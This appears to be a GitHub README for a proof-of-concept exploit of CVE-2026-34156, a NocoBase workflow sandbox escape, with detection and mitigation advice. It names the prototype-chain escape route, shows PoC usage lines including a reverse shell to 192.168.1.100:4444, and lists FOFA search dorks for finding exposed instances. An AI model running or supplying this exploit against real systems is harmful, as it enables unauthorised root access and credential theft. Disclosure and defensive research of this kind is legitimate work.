🚨 CVE-2026-34156 - NocoBase Critical Sandbox Escape

Unauthenticated / Low-Privilege → Root Remote Code Execution in NocoBase

📌 Overview

CVE-2026-34156 is a critical sandbox escape vulnerability in NocoBase (an open-source no-code/low-code platform).

An attacker with the ability to create or execute a Workflow Script Node (even with low privileges) can escape the Node.js vm sandbox and achieve full Remote Code Execution as root inside the container.

Affected Versions

• NocoBase < 2.0.28

Fixed In

• NocoBase 2.0.28 (released March 2026)

🛠 Vulnerability Details

• Component: @nocobase/plugin-workflow-javascript (Script Node)
• Type: Sandbox Escape via console._stdout.constructor.constructor
• Impact:
  • Remote Code Execution as root (uid=0)
  • Arbitrary command execution
  • File system access (fs)
  • Environment variable leakage (database credentials, secrets)
  • Full container compromise

Root Cause

The console object passed into the sandbox is from the host realm, allowing attackers to climb the prototype chain and access the real Function constructor → process.mainModule.require.

🚀 Exploit

Proof of Concept (PoC)

# Simple command execution
python3 CVE-2026-34156.py -u https://target.com -e [email protected] -p password -c "id"

# Reverse shell
python3 CVE-2026-34156.py -u https://target.com -r 192.168.1.100:4444

Repository includes: Full PoC script, Nuclei template, and safe checker.

🧪 Detection

Nuclei Template

nuclei -u https://target -t cves/CVE-2026-34156.yaml

FOFA Dorks

title="NocoBase" || title="Sign in - NocoBase"
title="NocoBase" && body="workflow"

🛡️ Mitigation

1. Upgrade immediately to NocoBase 2.0.28 or newer.
2. Disable the Workflow Script Node for untrusted users.
3. Run NocoBase containers as non-root user.
4. Use stronger sandboxing (e.g., isolated-vm) in production.

📸 Screenshots

⚠️ Legal Disclaimer

This repository is for educational and authorized security research purposes only.
Use only on systems you own or have explicit written permission to test.

Unauthorized exploitation is illegal.

⭐ Credits & References

• Discovery: Unknown (Publicly disclosed)
• Patch: NocoBase Security Team
• NVD: CVE-2026-34156
• GitHub Advisory: GHSA-px3p-vgh9-m57c